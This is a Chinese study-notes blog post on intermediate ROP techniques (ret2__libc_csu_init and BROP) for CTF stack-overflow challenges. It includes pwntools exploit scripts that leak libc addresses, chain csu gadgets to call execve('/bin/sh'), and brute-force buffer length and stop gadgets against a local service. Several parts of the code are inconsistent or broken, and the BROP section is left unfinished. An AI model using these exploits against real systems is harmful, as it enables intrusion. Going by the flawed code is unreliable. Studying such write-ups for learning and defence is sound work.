栈溢出----中级ROP

学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/

1.ret2__libc_csu_init

这个主要是争对64位的程序的,和32位的栈传参不同的是,在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,最完美的情况,肯定是需要的寄存器可以通过ROPgadgets找到合适的,但是总有找不到的情况,那就需要这个技术了

我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,可以看一下这个函数,如下

我们可以看到我们可以给rsp\rbx\rdi的低32位

大概就是这么个做法,看个例子

找栈溢出位置

read函数可以轻松溢出

开头还是常规的泄露一波write的地址,更具偏移量来找出exceve函数和/bin/sh字符串的地址,这里还用不上这个技术

接下来把/bin/sh读到bss字段中

最后pwn

exp

write_plt=bin.plt['write']
write_got=bin.got['write']
main_addr=0x00000000004005E6
rsi=0x00000000004006b1
rdi=0x00000000004006b3

cn.recvuntil("Input:\n")
payload1='a'*(0x80+0x08)+p64(rsi)+p64(1)+p64(rdi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
cn.send(payload1)         #leak write
write_addr=u64(cn.recv(8))

base_addr=write_addr-write_got
execve_addr=libc.symbols['execve']+base_addr
binsh_addr=libc.search('/bin/sh').next()+base_addr



csu_front_addr=0x0000000000400690
csu_end_addr=0x00000000004006AA
read_plt=bin.plt['read']
#bss_addr=bin.bss()
bss_addr=0x600A47
cn.recvuntil("Input:\n")

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
payload = 'a' * (0x80+0x08)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)

cn.interactive()

讲一下csu的函数吧,主要就是先给r12之类的通过pop赋值,然后调转给rdi\rsi赋值,然后跳过pop过程,所以要pading,然后跳回main函数,核心其实就是争对64位的传参规则进行了利用

2.BROP

BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流

直接盗取学习资料中的图片

结合例子一点点来吧

大概是这么个例子,但其实我们是没有文件的,需要猜

要泄露地址第一个难点就是要知道我们要覆盖多少栈空间,咋办呢,枚举

从1开始枚举,枚举到程序崩溃为止,exp如下

def get_buf_length():
    i=1
    while True:
        try:
            cn = remote('127.0.0.1', 9999)
            cn.recvuntil('WelCome my friend,Do you know password?\n')
            cn.send(i * 'a')
            output = cn.recv()
            cn.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            cn.close()
            return i - 1

这里我们没有端口,拿本地端口假装一下

接下来我们需要知道我们强行找stop gadgets,做法也差不多,exp如下

def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * 72 + p64(addr)
            sh.sendline(payload)
            sh.recv()
            sh.close()
            print 'one success addr: 0x%x' % (addr)
            return addr
        except Exception:
            addr += 1
            sh.close()

此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表

………………暂时没学会……

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/83240797
ROP
今日推荐